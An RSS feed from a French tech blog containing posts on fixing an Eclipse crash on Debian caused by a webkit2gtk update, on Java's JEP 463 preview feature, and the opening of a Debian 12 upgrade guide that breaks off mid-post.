<?xml version="1.0"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Billets de Lilian</title>
    <link>https://www.lilian-benoit.fr</link>
    <atom:link href="https://www.lilian-benoit.fr/feed.xml" rel="self" type="application/rss+xml" />
    <description>Site francophone pour le partage et l'Ã©change de connaissances.</description>
    <language>en-US</language>
    <pubDate>sam., 11 mai 2024 20:15:44 +0200</pubDate>
    <lastBuildDate>sam., 11 mai 2024 20:15:44 +0200</lastBuildDate>

    <item>
      <title>Eclipse plante systématiquement sous Debian (et autres distribution Linux)</title>
      <link>https://www.lilian-benoit.fr/2024/05/Eclipse-plantage-sytematiquement-sous-Debian.html</link>
      <pubDate>sam., 11 mai 2024 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2024/05/Eclipse-plantage-sytematiquement-sous-Debian.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#scénarios_de_reproduction&quot;&gt;Scénarios de reproduction&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#cause&quot;&gt;Cause&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#solution&quot;&gt;Solution&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#dans_le_détail&quot;&gt;Dans le détail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#spring_sts&quot;&gt;Spring STS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pour_le_futur&quot;&gt;Pour le futur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce vendredi, comme régulièrement, je mets à jour mon système avec des corrections liés à des alertes de sécurité.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, lorsque je démarre Eclipse. Ce dernier se ferme brutalement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;obtiens l&amp;#8217;erreur suivante dans la console.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;(Eclipse:54856): Gdk-CRITICAL **: 09:49:17.679: gdk_window_create_gl_context: assertion &apos;GDK_IS_WINDOW (window)&apos; failed
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007fcf2033b2c8, pid=54856, tid=54857
#
# JRE version: OpenJDK Runtime Environment (17.0.11+9) (build 17.0.11+9-Debian-1deb12u1)
# Java VM: OpenJDK 64-Bit Server VM (17.0.11+9-Debian-1deb12u1, mixed mode, sharing, tiered, compressed oops, compressed class ptrs, g1 gc, linux-amd64)
# Problematic frame:
# C  [libwebkit2gtk-4.0.so.37+0xd3b2c8]
#
# No core dump will be written. Core dumps have been disabled. To enable core dumping, try &quot;ulimit -c unlimited&quot; before starting Java again
#
# An error report file with more information is saved as:
# /tmp/hs_err_pid54856.log
#
# If you would like to submit a bug report, please visit:
#   https://bugs.debian.org/openjdk-17
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;scénarios_de_reproduction&quot;&gt;Scénarios de reproduction&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici deux scénarios identifiées qui permettent de reduire le problème :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Utilisation de l&amp;#8217;autocomplétion&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ouverture de la boite de dialogue Eclipse Marketplace (Menu Help)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;ai pu reproduire le problème avec les versions suivantes d&amp;#8217;Eclipse : 2023-09 et 2024-03&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;cause&quot;&gt;Cause&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le problème se situe au niveau de la librairie &lt;code&gt;libwebkit2gtk-4.0&lt;/code&gt; qui provoque l&amp;#8217;erreur suivante : &lt;code&gt;gdk_window_create_gl_context: assertion &apos;GDK_IS_WINDOW (window)&apos; failed&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Après mes recherches, cela concerne les environnements fonctionnant sous Wayland. C&amp;#8217;est pourquoi, certaines solutions préconisent de repasser sous X11 (ce n&amp;#8217;est pas une solution viable étant donné que X11 va bientôt disparaitre des distributions)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La solution est de désactiver l&amp;#8217;accélération matériel au niveau de la librairie &lt;code&gt;Webkit2Gtk&lt;/code&gt;. Pour ce faire, il est nécessaire de définir la variable d&amp;#8217;environnement &lt;code&gt;WEBKIT_DISABLE_DMABUF_RENDERER&lt;/code&gt; et de le positionner la valeur &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;export WEBKIT_DISABLE_DMABUF_RENDERER=1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dans_le_détail&quot;&gt;Dans le détail&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La librairie en cause est  :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;/usr/lib/x86_64-linux-gnu/libwebkit2gtk-4.0.so&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;/usr/lib/x86_64-linux-gnu/libwebkit2gtk-4.1.so&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Effectivement, cette dernière a été mise à jour lors des patchs de sécurité du 9 mai. La version installée est la version &lt;code&gt;2.44.1-1~deb12u1&lt;/code&gt;. Je n&amp;#8217;ai pas compris le lien entre la numérotation du package Debian et celle de la librairie.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De plus, le problème est plus générale et ne concerne pas uniquement Debian.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Effectivement, Nous pouvons retrouver des problèmes équivalent pour ArchLinux, Fedora, Ubuntu.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;spring_sts&quot;&gt;Spring STS&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour les personnes qui utilise &lt;code&gt;Spring STS&lt;/code&gt;. C&amp;#8217;est la même cause, donc la même solution.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;pour_le_futur&quot;&gt;Pour le futur&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le correctif est déjà pris en charge au niveau de SWT (librairie graphique utilisée par Eclipse). Il a été inclus le 28 mars 2024. De ce fait, le problème sera traité avec la version 2024-06 d&amp;#8217;Eclipse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le correctif applique la même solution, c&amp;#8217;est à dire de désactiver l&amp;#8217;accélération matérielle, mais au niveau du code (&lt;a href=&quot;https://github.com/eclipse-platform/eclipse.platform.swt/pull/1143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Disable WebkitGtk hardware-acceleration&lt;/a&gt; pour les curieux)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour information, cette solution est celle utilisée par Gnome comme le projet Evolution.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/eclipse-platform/eclipse.platform.swt/issues/1185&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Eclipse (both Java and Jee) crashes when just opening Help &amp;#8594; Eclipse Marketplace&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/eclipse-platform/eclipse.platform.swt/issues/1108&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Eclipse crashes on Fedora 40 with Wayland&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/eclipse-platform/eclipse.platform.swt/pull/1143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Disable WebkitGtk hardware-acceleration&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://security-tracker.debian.org/tracker/source-package/webkit2gtk&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Debian Security Tracker pour webkit2gtk&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.gnome.org/GNOME/evolution/-/commit/eb62ccaa28bbbca7668913ce7d8056a6d75f9b05&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Commit pour Gnome Evolution&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/spring-projects/sts4/issues/1230&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
Eclipse crashes after upgrade of libwebkit2gtk to 2.44.x&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 463, Implicitly Declared Classes and Instance Main Methods (Second Preview)</title>
      <link>https://www.lilian-benoit.fr/2024/01/JEP-463-Implicitly-Declared-Classes-and-Instance-Main-Methods.html</link>
      <pubDate>dim., 7 janv. 2024 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2024/01/JEP-463-Implicitly-Declared-Classes-and-Instance-Main-Methods.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouveauté&quot;&gt;Nouveauté&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exécution&quot;&gt;Exécution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#détails_sur_le_lancement&quot;&gt;Détails sur le lancement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#détails_sur_la_classe_explicitement_nommé&quot;&gt;Détails sur la classe explicitement nommé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme la précdente JEP, l&amp;#8217;objectif est de faciliter l&amp;#8217;apprentissage du langage Java pour les étudiants, en enlevant certaines &quot;cérémonies&quot; du langage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet à l&amp;#8217;étudiant d&amp;#8217;appréhender plus facilement le langage et d&amp;#8217;ajouter les fonctionnalités et la complexité au fûr et à mesure de son apprentissage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, un exemple de premier programme correspond au code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Bonjour {
    public static void main(String[] args) {
        System.out.println(&quot;Bonjour à tous !&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Exemple de syntaxe qui peut dérouter l&amp;#8217;étudiant&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Déclaration d&amp;#8217;une classe publique avec le mot réservé &lt;code&gt;class&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Utilisation de &lt;code&gt;String[]&lt;/code&gt; pour les paramètres&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le modificateur &lt;code&gt;static&lt;/code&gt; est généralement troublant au début.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouveauté&quot;&gt;Nouveauté&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette monture prend en compte des retours de la &lt;a href=&quot;https://openjdk.org/jeps/445&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 445: Unnamed Classes and Instance Main Methods (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Elle amène deux simplications:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La classe est maintennant implicitement nommée par le nom du fichier défini au niveau du système d&amp;#8217;exploitation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le déroulement pour rechercher la bonne méthode est simplifié. C&amp;#8217;est à dire que la JVM recherche une méthode &lt;code&gt;main&lt;/code&gt; avec un argument &lt;code&gt;String[]&lt;/code&gt; , puis sans résultat, elle recherche une méthode &lt;code&gt;main&lt;/code&gt; sans argument.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Il est à noter que de toute façon, on ne peut pas avoir la même méthode avec ou sans le mot clé &lt;code&gt;static&lt;/code&gt;. Donc il y aura de confusion suite à cette simplification.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le premier principe est de ne pas obliger que la méthode &lt;code&gt;main&lt;/code&gt; soit statique (&lt;code&gt;static&lt;/code&gt;). C&amp;#8217;est à dire qu&amp;#8217;il est possible d&amp;#8217;avoir une simple méthode d&amp;#8217;instance. (d&amp;#8217;où le nom : Instance Main Methods)
De même, le terme &lt;code&gt;public&lt;/code&gt; n&amp;#8217;est plus nécessaire et le paramètre &lt;code&gt;String[]&lt;/code&gt; devient optionnel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le second principe est de considérer l&amp;#8217;ensemble du fichier correspond à une classe sans nom qui sera créé implicement avec le nom du ficheir (d&amp;#8217;où le nom : Implicitly Declared Classes).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela donne le code suivant comme résultat :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;void main() {
    System.out.println(&quot;Bonjour à tous !&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exécution&quot;&gt;Exécution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons passer par le compilateur, puis par la JVM. N&amp;#8217;oubliez pas que c&amp;#8217;est une fonctionnalité en aperçu, donc il faudra l&amp;#8217;option &lt;code&gt;--enable-preview&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;L&amp;#8217;utilisation de l&amp;#8217;option &lt;code&gt;--enable-preview&lt;/code&gt; demandera de préciser le niveau de la source ou de la release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons avec le schéma classique avec le compilateur&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;javac --release 21 --enable-preview Bonjour.java
java --enable-preview Bonjour&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme je l&amp;#8217;évoqué dans le précédent billet, depuis la &lt;a href=&quot;https://openjdk.org/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330 (Launch Single-File Source-Code Programs)&lt;/a&gt;, disponible depuis le JDK 11, nous pouvons passer par une et une seule commande:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;java --source 21 --enable-preview Bonjour.java&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans les deux cas, nous obtenons l&amp;#8217;exécution suvante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Note: Main.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.
Bonjour à tous!&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;détails_sur_le_lancement&quot;&gt;Détails sur le lancement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme indiqué dans le paragraphe sur les nouveautés.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La recherche du point d&amp;#8217;entrée est :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;rechercher une méthode &lt;code&gt;main&lt;/code&gt; avec l&amp;#8217;argument &lt;code&gt;String[]&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rechercher une méthode &lt;code&gt;main&lt;/code&gt; avec sans argument&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;La méthode doit être déclarée comme une méthode non privée (c&amp;#8217;est à dire avec la visibilité publique, protégée ou package).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Il est à noter que si la méthode est une méthode d&amp;#8217;instance (sans &lt;code&gt;static&lt;/code&gt;). Il sera nécessaire d&amp;#8217;avoir un construction sans argument non privé.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;détails_sur_la_classe_explicitement_nommé&quot;&gt;Détails sur la classe explicitement nommé&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est possible de définir des variables. Ils seront traduits par attributs de la classe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String bonjour = &quot;Bonjour à tous!&quot;;

void main() {
    System.out.println(bonjour);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De même, pour les fonctions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String bonjour() { return &quot;Bonjour à tous!&quot;; }

void main() {
    System.out.println(bonjour());
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/463&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 463: Implicitly Declared Classes and Instance Main Methods (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2023/06/JEP-445-Unnamed-Classes-and-Instance-Main-Methods.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Billet précédent sur JEP 445&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/445&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 445: Unnamed Classes and Instance Main Methods (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330: Launch Single-File Source-Code Programs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Debian - Montée de version de Debian 11 (Bullseye) à Debian 12 (Bookworm)</title>
      <link>https://www.lilian-benoit.fr/2023/12/Debian-Montee-de-version-Bullseye-11-a-Bookworm-12.html</link>
      <pubDate>sam., 30 déc. 2023 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2023/12/Debian-Montee-de-version-Bullseye-11-a-Bookworm-12.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#pré_requis&quot;&gt;Pré-requis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#montée_de_version&quot;&gt;Montée de version&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#vérification&quot;&gt;Vérification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#problèmes&quot;&gt;Problèmes&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#problèmes_avec_les_pilotes_nvidia&quot;&gt;Problèmes avec les pilotes Nvidia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 12 de Debian (Bookworm) est disponible depuis le 10 juin 2023.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Le 10 décembre dernier, la dernière mise à jour est disponible 12.4.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Un nouveauté très intéressante est qu&amp;#8217;il existe une nouvelle section d&amp;#8217;archive &lt;code&gt;non-free-firmware&lt;/code&gt;. Elle contient les microprogrammes non libres.
Le but est d&amp;#8217;avoir cette section au niveau du programme d&amp;#8217;installation Debian, c&amp;#8217;est à dire dans les CD officiels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
